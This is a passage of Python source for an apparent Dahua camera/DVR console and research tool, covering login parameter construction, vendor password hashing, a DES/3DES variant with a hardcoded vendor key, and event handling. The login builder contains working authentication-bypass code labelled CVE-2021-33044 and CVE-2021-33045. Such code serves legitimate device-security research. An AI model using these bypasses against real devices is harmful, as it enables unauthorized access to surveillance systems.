"passwordType": password_type.get(encryption), # Default, Plain
}
""" No idea what it is used for """
# params.update({"stochasticId": 31337})
""" DHIP/http/https: Second login, update default params with correct details """
if logon == 'plain' or encryption == 'Plain':
params.update({
"passwordType": "Plain",
"password": password
})
elif logon == 'basic' or encryption == 'Basic':
params.update({
# "passwordType": "Basic",
"password": b64e(username.encode('latin-1') + b':' + password.encode('latin-1'))
})
elif logon == 'old_digest' or encryption == 'OldDigest':
params.update({
"passwordType": "OldDigest",
"password": dahua_gen1_hash(password)
})
elif logon == 'default' or encryption == 'Default':
dh_hash = dahua_gen2_md5_hash(
username=username, password=password, dh_realm=dh_realm, dh_random=dh_random,
saved_host=saved_host)
params.update({
"passwordType": "Default",
"password": dh_hash
})
""" If we have chosen one of these logon, return """
if logon in ['plain', 'basic', 'old_digest', 'old_digest_md5', 'default']:
return params
""" Otherwise check and update for other logon types """
# Authentication bypass start
if logon == "netkeyboard":
""" 'CVE-2021-33044, Authentication bypass,
when setting param: 'clientType": "NetKeyboard' """
params.update({
"clientType": "NetKeyboard"
})
return params
elif logon == "loopback":
""" loginType=5, @127.0.0.1 """
"""
'CVE-2021-33045, Authentication bypass,
when setting params: 'ipAddr':'127.0.0.1', 'loginType': 'Loopback' and 'clientType': 'Local'
Note: Bypass fixed with newer firmware from beginning/mid 2020
Legit usage: SNMP daemon traffic on 127.0.0.1 using port 5000 with l/p admin/admin
"""
dh_hash = dahua_gen2_md5_hash(
username=username, password=password, dh_realm=dh_realm, dh_random=dh_random,
saved_host=saved_host)
params.update({
"loginType": "Loopback",
"clientType": "Local",
"passwordType": "Default", # Plain working too
"password": dh_hash # Clear text password working too with 'passwordType': 'Plain'
})
return params
# Authentication bypass end
elif logon == "gui":
""" TEST """
# username = 'default'
# password = 'tluafed'
dh_hash = dahua_gen2_md5_hash(
username=username, password=password, dh_realm=dh_realm, dh_random=dh_random,
saved_host=saved_host)
params.update({
"loginType": "GUI",
"clientType": "Dahua3.0-Web3.0-NOTIE",
"passwordType": "Direct",
"ipAddr": "127.0.0.1",
"password": dh_hash
})
return params
elif logon == 'onvif:plain':
params.update({
"loginType": "Onvif",
"clientType": "Onvif",
"authorityType": "Onvif",
"passwordType": "Plain",
"password": password,
})
return params
elif logon == 'onvif:onvif':
params.update({
"loginType": "Onvif",
"clientType": "Onvif",
"authorityType": "Onvif",
"passwordType": "Onvif",
})
dh_params = dahua_onvif_sha1_hash(dh_random=dh_random, password=password, saved_host=saved_host)
params.update(dh_params)
return params
elif logon == 'onvif:digest':
""" Always use UTC for 'created' """
created = datetime.utcnow().isoformat(timespec='seconds') + 'Z'
""" Newer firmware has another REALM, can be retrieved from HTTP OPTIONS/RTSP call, see dahua_dhip_login() """
dh_hash = dahua_digest_md5_hash(
username=username, password=password, dh_realm=dh_realm, dh_random=dh_random,
saved_host=saved_host, created=created)
params.update({
"loginType": "Onvif",
"clientType": "Onvif",
"authorityType": "Onvif",
"passwordType": "HttpDigest",
"authorityInfo": created,
"password": dh_hash
})
return params
elif logon == 'rtsp':
""" Always use UTC for created """
created = datetime.utcnow().isoformat(timespec='seconds') + 'Z'
dh_hash = dahua_digest_md5_hash(
username=username, password=password, dh_realm=dh_realm, dh_random=dh_random,
saved_host=saved_host, created=created)
params.update({
"clientType": "RtspClient",
"authorityType": "HttpDigest",
# Not needed in new FW, but the passwordType is there w/ "authorityType": "OldDigest"
"passwordType": "HttpDigest",
"password": dh_hash,
"authorityInfo": created
})
return params
elif logon == 'wsse':
"""
Cloud Upgrade WSSE logon
Note:
Can _only_ be used once per boot
Correct time and time zone on device very important so it will match 'created'
"""
""" Always use UTC for created """
created = datetime.utcnow().isoformat(timespec='seconds') + 'Z'
dh_hash = dahua_gen2_md5_hash(
username=username, password=password, dh_realm=dh_realm, dh_random=dh_random,
saved_host=saved_host, return_hash=True)
hash_digest = hashlib.sha1()
hash_digest.update(created.encode('ascii'))
hash_digest.update(dh_hash.encode('ascii'))
params.update({
"clientType": "WSSE",
"authorityType": "OTP",
"passwordType": "WSSE",
"password": b64e(hash_digest.digest()),
"authorityInfo": created
})
return params
elif logon == 'ldap':
""" loginType=3, Unknown login procedure """
params.update({
"loginType": "LDAP"
})
return params
elif logon == 'ad':
""" loginType=4, Unknown login procedure """
params.update({
"loginType": "ActiveDirectory"
})
return params
elif logon == 'cms':
""" loginType=1, Unknown login procedure """
params.update({
"loginType": "CMS",
})
return params
elif logon == 'ushield':
""" Unknown login procedure """
params.update({
"authorityType": "Ushield",
"authorityInfo": "XXXXXXX"
# "passwordType": "Ushield",
# "clientType": "Ushield",
# "loginType": "Ushield",
})
return params
elif logon == 'local':
""" Unknown login procedure """
params.update({
"clientType": "Local",
"loginType": "Local",
# "authorityType": "Local",
# "passwordType": "Local"
})
return params
elif logon == 'maybe_iot_or_azure':
""" Unknown login procedure """
params.update({
"deviceId": "Unknown", # Required for 'dasToken'
"dasToken": "Unknown" # depending of 'deviceId'
})
return params
else:
log.failure('Unknown logon method')
return None
def _compressor(in_var, out):
""" From: https://github.com/haicen/DahuaHashCreator/blob/master/DahuaHash.py """
i = 0
j = 0
while i < len(in_var):
# python 2.x (thanks to @davidak501)
# out[j] = (ord(in_var[i]) + ord(in_var[i+1])) % 62;
# python 3.x
out[j] = (in_var[i] + in_var[i + 1]) % 62
if out[j] < 10:
out[j] += 48
elif out[j] < 36:
out[j] += 55
else:
out[j] += 61
i = i + 2
j = j + 1
def dahua_gen1_hash(password):
""" From: https://github.com/haicen/DahuaHashCreator/blob/master/DahuaHash.py """
m = hashlib.md5()
m.update(password.encode("latin-1"))
s = m.digest()
crypt = []
for b in s:
crypt.append(b)
out2 = [''] * 8
_compressor(crypt, out2)
dh_data = ''.join([chr(c) for c in out2])
return dh_data
def basic_auth(username, password):
return b64e(username.encode('latin-1') + b':' + password.encode('latin-1'))
def dahua_dvrip_md5_hash(dh_random=None, username=None, password=None, saved_host=None):
""" Dahua (gen1) DVRIP random MD5 password hash """
return hashlib.md5(
(username + ':' + dh_random + ':' + saved_host.get('password').get('gen1') if password is None else
dahua_gen1_hash(password)).encode('latin-1')
).hexdigest().upper()
def dahua_gen2_md5_hash(
dh_random=None, dh_realm=None, username=None, password=None, saved_host=None, return_hash=False):
""" Dahua (gen2) DHIP/WEB random MD5 password hash """
dh_hash = saved_host.get('password').get('gen2') if password is None else hashlib.md5(
(username + ':' + dh_realm + ':' + password).encode('latin-1')
).hexdigest().upper()
if return_hash:
return dh_hash
return hashlib.md5(
(username + ':' + dh_random + ':' + dh_hash).encode('latin-1')
).hexdigest().upper()
def dahua_digest_md5_hash(dh_random=None, dh_realm=None, username=None, password=None, saved_host=None, created=None):
""" Dahua (digest) DHIP/WEB random MD5 password hash """
dh_hash = saved_host.get('password').get('gen2').lower() if saved_host else hashlib.md5(
(username + ':' + dh_realm + ':' + password).encode('latin-1')
).hexdigest()
return hashlib.md5(
(dh_hash + ':' + dh_random + ':' + created).encode('ascii')
).hexdigest()
def dahua_onvif_sha1_hash(dh_random=None, password=None, device_random=False, saved_host=None):
""" Dahua (onvif) DHIP/WEB random SHA1 password hash """
if password is None and saved_host is not None:
dh_params = saved_host.get('password').get('onvif', None)
return dh_params
authority_info = os.urandom(20)
if device_random:
# Use original 'dh_random' from device
dh_random = dh_random.encode('ascii')
else:
# Or, we can set random to what we want
dh_random = os.urandom(20)
hash_digest = hashlib.sha1()
hash_digest.update((dh_random + authority_info + password.encode('ascii')))
return {
"authorityInfo": b64e(authority_info),
"password": b64e(hash_digest.digest()),
"random": b64e(dh_random)
}
def dahua_gen0_hash(dh_data, des_mode):
"""The DES/3DES code in the bottom of this script."""
# "secret" key for Dahua Technology
key = b'poiuytrewq' # 3DES
if len(dh_data) > 8: # Max 8 bytes!
log.failure(f"'{dh_data}' is more than 8 bytes, this will most probably fail")
dh_data = dh_data[0:8]
data_len = len(dh_data)
key_len = len(key)
""" padding key with 0x00 if needed """
if key_len <= 8:
if not (key_len % 8) == 0:
# key += p8(0x0) * (8 - (key_len % 8)) # DES (8 bytes)
key += b'\x00' * (8 - (key_len % 8)) # DES (8 bytes)
elif key_len <= 16:
if not (key_len % 16) == 0:
# key += p8(0x0) * (16 - (key_len % 16)) # 3DES DES-EDE2 (16 bytes)
key += b'\x00' * (16 - (key_len % 16)) # 3DES DES-EDE2 (16 bytes)
elif key_len <= 24:
if not (key_len % 24) == 0:
# key += p8(0x0) * (24 - (key_len % 24)) # 3DES DES-EDE3 (24 bytes)
key += b'\x00' * (24 - (key_len % 24)) # 3DES DES-EDE3 (24 bytes)
""" padding key with 0x00 if needed """
if not (data_len % 8) == 0:
# dh_data += p8(0x0).decode('latin-1') * (8 - (data_len % 8))
dh_data += '\x00' * (8 - (data_len % 8))
if key_len == 8:
k = Des(key)
else:
k = TripleDes(key)
if des_mode == ENCRYPT:
dh_data = k.encrypt(dh_data.encode('latin-1'))
else:
dh_data = k.decrypt(dh_data)
dh_data = dh_data.decode('latin-1').strip('\x00') # Strip all 0x00 padding
return dh_data
"""
[WARNING!] Do NOT reuse below code for legit DES/3DES! [WARNING!]
This code has been cleaned and modified so it will fit my needs to
replicate Dahua's implementation of DES/3DES with endianness bugs.
[This code is based based on]
A pure python implementation of the DES and TRIPLE DES encryption algorithms.
Author: Todd Whitman's
Homepage: http://twhiteman.netfirms.com/des.html
"""
class _BaseDes(object):
""" The base class shared by des and triple des """
def __init__(self):
self.block_size = 8
self.__key = None
def get_key(self):
"""get_key() -> bytes"""
return self.__key
def set_key(self, key):
"""Will set the crypting key for this object."""
self.__key = key
class Des(_BaseDes):
""" DES """
""" Permutation and translation tables for DES """
__pc1 = [
56, 48, 40, 32, 24, 16, 8,
0, 57, 49, 41, 33, 25, 17,
9, 1, 58, 50, 42, 34, 26,
18, 10, 2, 59, 51, 43, 35,
62, 54, 46, 38, 30, 22, 14,
6, 61, 53, 45, 37, 29, 21,
13, 5, 60, 52, 44, 36, 28,
20, 12, 4, 27, 19, 11, 3
]
""" number left rotations of pc1 """
__left_rotations = [
1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1
]
""" permuted choice key (table 2) """
__pc2 = [
13, 16, 10, 23, 0, 4,
2, 27, 14, 5, 20, 9,
22, 18, 11, 3, 25, 7,
15, 6, 26, 19, 12, 1,
40, 51, 30, 36, 46, 54,
29, 39, 50, 44, 32, 47,
43, 48, 38, 55, 33, 52,
45, 41, 49, 35, 28, 31
]
# initial permutation IP
__ip = [
57, 49, 41, 33, 25, 17, 9, 1,
59, 51, 43, 35, 27, 19, 11, 3,
61, 53, 45, 37, 29, 21, 13, 5,
63, 55, 47, 39, 31, 23, 15, 7,
56, 48, 40, 32, 24, 16, 8, 0,
58, 50, 42, 34, 26, 18, 10, 2,
60, 52, 44, 36, 28, 20, 12, 4,
62, 54, 46, 38, 30, 22, 14, 6
]
# Expansion table for turning 32 bit blocks into 48 bits
__expansion_table = [
31, 0, 1, 2, 3, 4,
3, 4, 5, 6, 7, 8,
7, 8, 9, 10, 11, 12,
11, 12, 13, 14, 15, 16,
15, 16, 17, 18, 19, 20,
19, 20, 21, 22, 23, 24,
23, 24, 25, 26, 27, 28,
27, 28, 29, 30, 31, 0
]
# The (in)famous S-boxes
__sbox = [
# S1
[
14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7,
0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8,
4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0,
15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13
],
# S2
[
15, 1, 8, 14, 6, 11, 3, 4, 9, 7, 2, 13, 12, 0, 5, 10,
3, 13, 4, 7, 15, 2, 8, 14, 12, 0, 1, 10, 6, 9, 11, 5,
0, 14, 7, 11, 10, 4, 13, 1, 5, 8, 12, 6, 9, 3, 2, 15,
13, 8, 10, 1, 3, 15, 4, 2, 11, 6, 7, 12, 0, 5, 14, 9
],
# S3
[
10, 0, 9, 14, 6, 3, 15, 5, 1, 13, 12, 7, 11, 4, 2, 8,
13, 7, 0, 9, 3, 4, 6, 10, 2, 8, 5, 14, 12, 11, 15, 1,
13, 6, 4, 9, 8, 15, 3, 0, 11, 1, 2, 12, 5, 10, 14, 7,
1, 10, 13, 0, 6, 9, 8, 7, 4, 15, 14, 3, 11, 5, 2, 12
],
# S4
[
7, 13, 14, 3, 0, 6, 9, 10, 1, 2, 8, 5, 11, 12, 4, 15,
13, 8, 11, 5, 6, 15, 0, 3, 4, 7, 2, 12, 1, 10, 14, 9,
10, 6, 9, 0, 12, 11, 7, 13, 15, 1, 3, 14, 5, 2, 8, 4,
3, 15, 0, 6, 10, 1, 13, 8, 9, 4, 5, 11, 12, 7, 2, 14
],
# S5
[
2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9,
14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6,
4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14,
11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3
],
# S6
[
12, 1, 10, 15, 9, 2, 6, 8, 0, 13, 3, 4, 14, 7, 5, 11,
10, 15, 4, 2, 7, 12, 9, 5, 6, 1, 13, 14, 0, 11, 3, 8,
9, 14, 15, 5, 2, 8, 12, 3, 7, 0, 4, 10, 1, 13, 11, 6,
4, 3, 2, 12, 9, 5, 15, 10, 11, 14, 1, 7, 6, 0, 8, 13
],
# S7
[
4, 11, 2, 14, 15, 0, 8, 13, 3, 12, 9, 7, 5, 10, 6, 1,
13, 0, 11, 7, 4, 9, 1, 10, 14, 3, 5, 12, 2, 15, 8, 6,
1, 4, 11, 13, 12, 3, 7, 14, 10, 15, 6, 8, 0, 5, 9, 2,
6, 11, 13, 8, 1, 4, 10, 7, 9, 5, 0, 15, 14, 2, 3, 12
],
# S8
[
13, 2, 8, 4, 6, 15, 11, 1, 10, 9, 3, 14, 5, 0, 12, 7,
1, 15, 13, 8, 10, 3, 7, 4, 12, 5, 6, 11, 0, 14, 9, 2,
7, 11, 4, 1, 9, 12, 14, 2, 0, 6, 10, 13, 15, 3, 5, 8,
2, 1, 14, 7, 4, 10, 8, 13, 15, 12, 9, 0, 3, 5, 6, 11
],
]
""" 32-bit permutation function P used on the output of the S-boxes """
__p = [
15, 6, 19, 20, 28, 11,
27, 16, 0, 14, 22, 25,
4, 17, 30, 9, 1, 7,
23, 13, 31, 26, 2, 8,
18, 12, 29, 5, 21, 10,
3, 24
]
""" final permutation IP^-1 """
__fp = [
39, 7, 47, 15, 55, 23, 63, 31,
38, 6, 46, 14, 54, 22, 62, 30,
37, 5, 45, 13, 53, 21, 61, 29,
36, 4, 44, 12, 52, 20, 60, 28,
35, 3, 43, 11, 51, 19, 59, 27,
34, 2, 42, 10, 50, 18, 58, 26,
33, 1, 41, 9, 49, 17, 57, 25,
32, 0, 40, 8, 48, 16, 56, 24
]
""" Initialisation """
def __init__(self, key):
_BaseDes.__init__(self)
self.key_size = 8
self.L = []
self.R = []
self.Kn = [[0] * 48] * 16 # 16 48-bit keys (K1 - K16)
self.final = []
self.set_key(key)
def set_key(self, key):
"""Will set the crypto key for this object. Must be 8 bytes."""
_BaseDes.set_key(self, key)
self.__create_sub_keys()
@staticmethod
def __string_to_bitlist(dh_data):
"""Turn the string data, into a list of bits (1, 0)'s"""
return bits(dh_data, endian='little') # Dahua endianness bug
@staticmethod
def __bitlist_to_string(dh_data):
"""Turn the list of bits -> data, into a string"""
return bytes(list(unbits(dh_data, endian='little'))) # Dahua endianness bug
@staticmethod
def __permutate(table, block):
"""Permutate this block with the specified table"""
return list(map(lambda x: block[x], table))
"""
Transform the secret key, so that it is ready for data processing
Create the 16 subkeys, K[1] - K[16]
"""
def __create_sub_keys(self):
"""Create the 16 subkeys K[1] to K[16] from the given key"""
key = self.__permutate(Des.__pc1, self.__string_to_bitlist(self.get_key()))
i = 0
# Split into Left and Right sections
self.L = key[:28]
self.R = key[28:]
while i < 16:
j = 0
# Perform circular left shifts
while j < Des.__left_rotations[i]:
self.L.append(self.L[0])
del self.L[0]
self.R.append(self.R[0])
del self.R[0]
j += 1
# Create one of the 16 subkeys through pc2 permutation
self.Kn[i] = self.__permutate(Des.__pc2, self.L + self.R)
i += 1
# Main part of the encryption algorithm, the number cruncher :)
def __des_crypt(self, block, crypt_type):
"""Crypt the block of data through DES bit-manipulation"""
block = self.__permutate(Des.__ip, block)
self.L = block[:32]
self.R = block[32:]
# Encryption starts from Kn[1] through to Kn[16]
if crypt_type == ENCRYPT:
iteration = 0
iteration_adjustment = 1
# Decryption starts from Kn[16] down to Kn[1]
else:
iteration = 15
iteration_adjustment = -1
i = 0
while i < 16:
# Make a copy of R[i-1], this will later become L[i]
if crypt_type == ENCRYPT:
temp_r = self.R[:]
else:
temp_r = self.L[:]
# Permutate R[i - 1] to start creating R[i]
if crypt_type == ENCRYPT:
self.R = self.__permutate(Des.__expansion_table, self.R)
else:
self.L = self.__permutate(Des.__expansion_table, self.L)
# Exclusive or R[i - 1] with K[i], create B[1] to B[8] whilst here
if crypt_type == ENCRYPT:
self.R = list(map(lambda x, y: x ^ y, self.R, self.Kn[iteration]))
_b = [
self.R[:6],
self.R[6:12],
self.R[12:18],
self.R[18:24],
self.R[24:30],
self.R[30:36],
self.R[36:42],
self.R[42:]
]
else:
self.L = list(map(lambda x, y: x ^ y, self.L, self.Kn[iteration]))
_b = [
self.L[:6],
self.L[6:12],
self.L[12:18],
self.L[18:24],
self.L[24:30],
self.L[30:36],
self.L[36:42],
self.L[42:]
]
# Permutate _b[1] to _b[8] using the S-Boxes
j = 0
_bn = []
while j < 8:
# Work out the offsets
m = (_b[j][0] << 1) + _b[j][5]
n = (_b[j][1] << 3) + (_b[j][2] << 2) + (_b[j][3] << 1) + _b[j][4]
# Find the permutation value
v = Des.__sbox[j][(m << 4) + n]
# Turn value into bits, add it to result: _bn
for tmp in list(map(lambda x: x, bits(v, endian='little')[:4])): # Dahua endianness bug
_bn.append(tmp)
j += 1
# Permutate the concatination of _b[1] to _b[8] (_bn)
if crypt_type == ENCRYPT:
self.R = self.__permutate(Des.__p, _bn)
else:
self.L = self.__permutate(Des.__p, _bn)
# Xor with L[i - 1]
if crypt_type == ENCRYPT:
self.R = list(map(lambda x, y: x ^ y, self.R, self.L))
else:
self.L = list(map(lambda x, y: x ^ y, self.R, self.L))
# L[i] becomes R[i - 1]
if crypt_type == ENCRYPT:
self.L = temp_r
else:
self.R = temp_r
i += 1
iteration += iteration_adjustment
# Final permutation of R[16]L[16]
if crypt_type == ENCRYPT:
self.final = self.__permutate(Des.__fp, self.L + self.R)
else:
self.final = self.__permutate(Des.__fp, self.L + self.R)
return self.final
def crypt(self, dh_data, crypt_type):
"""Crypt the data in blocks, running it through des_crypt()"""
# Error check the data
if not dh_data:
return ''
# Split the data into blocks, crypting each one separately
i = 0
# dict = {}
result = []
while i < len(dh_data):
block = self.__string_to_bitlist(dh_data[i:i + 8])
processed_block = self.__des_crypt(block, crypt_type)
# Add the resulting crypted block to our list
result.append(self.__bitlist_to_string(processed_block))
i += 8
# Return the full crypted string
return bytes.fromhex('').join(result)
def encrypt(self, dh_data):
return self.crypt(dh_data, ENCRYPT)
def decrypt(self, dh_data):
return self.crypt(dh_data, DECRYPT)
class TripleDes(_BaseDes):
"""Triple DES"""
def __init__(self, key):
_BaseDes.__init__(self)
self.key_size = None
self.__key1 = None
self.__key2 = None
self.__key3 = None
self.set_key(key)
def set_key(self, key):
"""Will set the crypting key for this object. Either 16 or 24 bytes long."""
self.key_size = 24 # Use DES-EDE3 mode
if len(key) != self.key_size:
if len(key) == 16: # Use DES-EDE2 mode
self.key_size = 16
self.__key1 = Des(key[:8])
self.__key2 = Des(key[8:16])
if self.key_size == 16:
self.__key3 = self.__key1
else:
self.__key3 = Des(key[16:])
_BaseDes.set_key(self, key)
def encrypt(self, dh_data):
dh_data = self.__key1.crypt(dh_data, ENCRYPT)
dh_data = self.__key2.crypt(dh_data, DECRYPT)
dh_data = self.__key3.crypt(dh_data, ENCRYPT)
return dh_data
def decrypt(self, dh_data):
dh_data = self.__key3.crypt(dh_data, DECRYPT)
dh_data = self.__key2.crypt(dh_data, ENCRYPT)
dh_data = self.__key1.crypt(dh_data, DECRYPT)
return dh_data
================================================
FILE: events.py
================================================
import _thread
from utils import *
from connection import DahuaConnect
class DahuaEvents(DahuaConnect):
def __init__(self):
super(DahuaEvents, self).__init__()
def internal_event_manager(self, dh_data):
""" JSON fixing part, then feed 'local_event_handler()' """
try:
events = fix_json(dh_data)
for event in events:
self.local_event_handler(event)
except Exception as e:
log.failure('[internal_event_manager] {}'.format(repr(e)))
def local_event_handler(self, dh_data):
""" Local event handler """
try:
host = dh_data.get('host')
event_list = dh_data.get('params').get('eventList')
for events in event_list:
if events.get('Action') == 'Start':
"""
Reboot event, remote device is already rebooting and we cannot make clean exit,
so just close instance and reschedule connection
"""
if events.get('Code') == 'Reboot':
log.warning('[{} ({}) ] {}'.format(
color(events.get('Data').get('LocaleTime'), LYELLOW),
color(host, GREEN),
color('Reboot', RED),
))
tmp = False
session = None
for session in self.dhConsole:
if self.dhConsole.get(session).get('host') == host:
log.warning(
"{}: {} ({})".format(
session,
self.dhConsole.get(session).get('device'),
self.dhConsole.get(session).get('host')))
tmp = self.dhConsole.get(session).get('instance')
tmp.terminate = True
tmp.logout()
break
if tmp:
if tmp == self.dh:
del self.dh
self.dhConsole.pop(session)
if len(self.dhConsole):
for session in self.dhConsole:
self.dh = self.dhConsole.get(session).get('instance')
break
else:
del tmp
self.dhConsole.pop(session)
# _thread.start_new_thread(self.restart_connection, ("restart_connection", host,))
_thread.start_new_thread(self.restart_connection, (host,))
elif events.get('Code') == 'Exit':
log.warning('[{} ({}) ] {}'.format(
color(events.get('Data').get('LocaleTime'), YELLOW),
color(host, GREEN),
color('Exit App', RED)
))
elif events.get('Code') == 'ShutDown':
log.warning('[{} ({}) ] {}'.format(
color(events.get('Data').get('LocaleTime'), YELLOW),
color(host, GREEN),
color('ShutDown App', RED)
))
# VTO
elif events.get('Code') == 'AlarmLocal':
log.warning('[{} ({}) ] {}'.format(
color(events.get('Data').get('LocaleTime'), YELLOW),
color(host, GREEN),
color('AlarmLocal [Start]', RED)
))
# VTO
elif events.get('Code') == 'ProfileAlarmTransmit':
log.warning('[{} ({}) ] {}'.format(
color(events.get('Data').get('LocaleTime'), YELLOW),
color(host, GREEN),
color(
'ProfileAlarmTransmit [Start]\n'
'AlarmType: {}, DevSrcType: {}, SenseMethod: {}, UserID: {}'.format(
events.get('Data').get('AlarmType'),
events.get('Data').get('DevSrcType'),
events.get('Data').get('SenseMethod'),
events.get('Data').get('UserID'),
), RED)
))
elif events.get('Code') == 'SafetyAbnormal':
log.warning('[{} ({}) Start ] {}'.format(
color(
events.get('Data').get('AbnormalTime')
if events.get('Data').get('AbnormalTime') else events.get('Data').get('LocaleTime'),
YELLOW
),
color(host, GREEN),
color('{} {}'.format(
events.get('Data').get('ExceptionType'),
events.get('Data').get('Address')
), RED),
))
elif events.get('Action') == 'Stop':
# VTO
if events.get('Code') == 'AlarmLocal':
log.warning('[{} ({}) ] {}'.format(
color(events.get('Data').get('LocaleTime'), YELLOW),
color(host, GREEN),
color('AlarmLocal [Stop]', GREEN)
))
# VTO
elif events.get('Code') == 'ProfileAlarmTransmit':
log.warning('[{} ({}) ] {}'.format(
color(events.get('Data').get('LocaleTime'), YELLOW),
color(host, GREEN),
color(
'ProfileAlarmTransmit [Stop]\n'
'AlarmType: {}, DevSrcType: {}, SenseMethod: {}, UserID: {}'.format(
events.get('Data').get('AlarmType'),
events.get('Data').get('DevSrcType'),
events.get('Data').get('SenseMethod'),
events.get('Data').get('UserID'),
), GREEN)
))
elif events.get('Code') == 'SafetyAbnormal':
log.warning('[{} ({}) Stop ] {}'.format(
color(
events.get('Data').get('AbnormalTime')
if events.get('Data').get('AbnormalTime') else events.get('Data').get('LocaleTime'),
YELLOW
),
color(host, GREEN),
color('{} {}'.format(
events.get('Data').get('ExceptionType'),
events.get('Data').get('Address')
), RED),
))
elif events.get('Action') == 'Pulse':
if events.get('Code') == 'SafetyAbnormal':
log.warning('[{} ({}) ] {}'.format(
color(
events.get('Data').get('AbnormalTime')
if events.get('Data').get('AbnormalTime') else events.get('Data').get('LocaleTime'),
YELLOW
),
color(host, GREEN),
color('{} {}'.format(
events.get('Data').get('ExceptionType'),
events.get('Data').get('Address')
), RED),
))
elif events.get('Code') == 'LoginFailure':
log.warning('[{} ({}) ] {}'.format(
color(events.get('Data').get('LocaleTime'), YELLOW),
color(host, GREEN),
color('Login Failure: {} {} ({})'.format(
events.get('Data').get('Name'),
events.get('Data').get('Address'),
events.get('Data').get('Type')
), RED),
))
elif events.get('Code') == 'RemoteIPModified':
log.warning('[{} ({}) ] {}\n{}'.format(
color(events.get('Data').get('LocaleTime'), YELLOW),
color(host, GREEN),
color('DHDiscover.setConfig', YELLOW),
events.get('Data'),
))
elif events.get('Code') == 'Reset':
log.warning('[{} ({}) ] {}'.format(
color(events.get('Data').get('LocaleTime'), YELLOW),
color(host, GREEN),
color('Factory default reset', RED),
))
# VTH
elif events.get('Code') == 'InfoTip':
log.warning('[{} ({}) ] {}'.format(
color(events.get('Data').get('LocaleTime'), YELLOW),
color(host, GREEN),
color('InfoTip', YELLOW),
))
# VTH
elif events.get('Code') == 'KeepLightOn':
log.warning('[{} ({}) ] {}'.format(
color(events.get('Data').get('LocaleTime'), YELLOW),
color(host, GREEN),
color('KeepLightOn: {}'.format(events.get('Data').get('Status')), YELLOW),
))
# VTH
elif events.get('Code') == 'ScreenOff':
log.warning('[{} ({}) ] {}'.format(
color(events.get('Data').get('LocaleTime'), YELLOW),
color(host, GREEN),
color('ScreenOff', YELLOW),
))
# VTH
elif events.get('Code') == 'VthAlarm':
log.warning('[{} ({}) ] {}'.format(
color(events.get('Data').get('LocaleTime'), YELLOW),
color(host, GREEN),
color('VTH Alarm', RED),
))
except Exception as e:
log.failure('[local_event_handler] {}'.format(repr(e)))
pass
================================================
FILE: eventviewer.py
================================================
#!/usr/bin/env python3
from utils import *
def main():
""" Simple Event Viewer """
events = None
try:
events = remote('127.0.0.1', EventOutServerPort, ssl=False, timeout=5)
while True:
event_data = ''
while True:
tmp = len(event_data)
event_data += events.recv(numb=8192, timeout=1).decode('latin-1')
if tmp == len(event_data):
break
if len(event_data):
# fix the JSON mess
event_data = fix_json(event_data)
if not len(event_data):
log.warning('[Simple Event Viewer]: callback data invalid!\n')
return False
for event in event_data:
log.info('[Event From]: {}\n{}'.format(color(event.get('host'), GREEN), event))
except (PwnlibException, EOFError, KeyboardInterrupt):
log.warning("[Simple Event Viewer]")
if events:
events.close()
return False
if __name__ == '__main__':
main()
================================================
FILE: net.py
================================================
import ast
import ndjson
import copy
import inspect
import _thread
from utils import *
from pwdmanager import PwdManager
from relay import init_relay, DahuaHttp
def dahua_proto(proto):
""" DVRIP have different codes in their protocols """
headers = [
b'\xa0\x00', # 3DES Login
b'\xa0\x01', # DVRIP Send Request Realm
b'\xa0\x05', # DVRIP login Send Login Details
b'\xb0\x00', # DVRIP Receive
b'\xb0\x01', # DVRIP Receive
b'\xa3\x01', # DVRIP Discover Request
b'\xb3\x00', # DVRIP Discover Response
b'\xf6\x00', # DVRIP JSON
]
if proto[:2] in headers:
return True
return False
class Network(object):
def __init__(self):
super(Network, self).__init__()
self.args = None
""" If we don't have own udp server running in main app, will be False and we do not send anything """
self.tcp_server = None
self.console_attach = None
self.DeviceClass = None
self.DeviceType = None
self.AuthCode = None
self.ErrorCode = None
# Internal sharing
self.ID = 0 # Our Request / Response ID that must be in all requests and initiated by us
self.SessionID = 0 # Session ID will be returned after successful login
self.header = None
self.instance_serviceDB = {} # Store of Object, ProcID, SID, etc.. for 'service'
self.multicall_query_args = [] # Used with system.multicall method
self.multicall_query = [] # Used with system.multicall method
self.multicall_return_check = None # Used with system.multicall method
self.fuzzDB = {} # Used when fuzzing some calls
self.RestoreEventHandler = {} # Cache of temporary enabled events
self.params_tmp = {} # Used in instance_create()
self.attachParamsTMP = [] # Used in instance_create()
self.RemoteServicesCache = {} # Cache of remote services, used to check if certain service exist or not
self.RemoteMethodsCache = {} # Cache of used remote methods
self.RemoteConfigCache = {} # Cache of remote config
self.rhost = None
self.rport = None
self.proto = None
self.events = None
self.ssl = None
self.relay_host = None
self.timeout = None
self.udp_server = None
self.proto = None
self.relay = None
self.remote = None
self.debug = None
self.debugCalls = None # Some internal debugging
self.event = threading.Event()
self.socket_event = threading.Event()
self.lock = threading.Lock()
self.recv_stream_status = threading.Event()
self.terminate = False
#############################################################################################################
#
# Custom pwntools functions
#
#############################################################################################################
def custom_can_recv(self, timeout=0.020):
"""
wrapper for pwntools 'can_recv()'
SSLSocket and paramiko recv() do not support any flags
"""
time.sleep(timeout)
try:
""" pwntools """
if self.remote.can_recv():
return True
return False
except TypeError:
""" paramiko ssh """
if self.remote.sock.recv_ready():
return True
return False
except ValueError:
""" SSL """
# TODO: Not found any way for SSL
return True
except AttributeError:
""" OSError """
print('AttributeError')
return False
def custom_connect_remote(self, rhost, rport, timeout=10):
""" Custom SSH connect_remote(), still we using pwntools 'transport()' """
# channel = self.relay.transport.Channel(timeout=timeout)
channel = self.relay.transport.open_channel('direct-tcpip', (rhost, rport), ('127.0.0.1', 0), timeout=timeout)
print(self.relay.transport.is_active())
return channel
def custom_exec_command(self, cmd, script='', timeout=10, env_export=None):
""" Custom SSH exec_command(), still using pwntools 'transport()' """
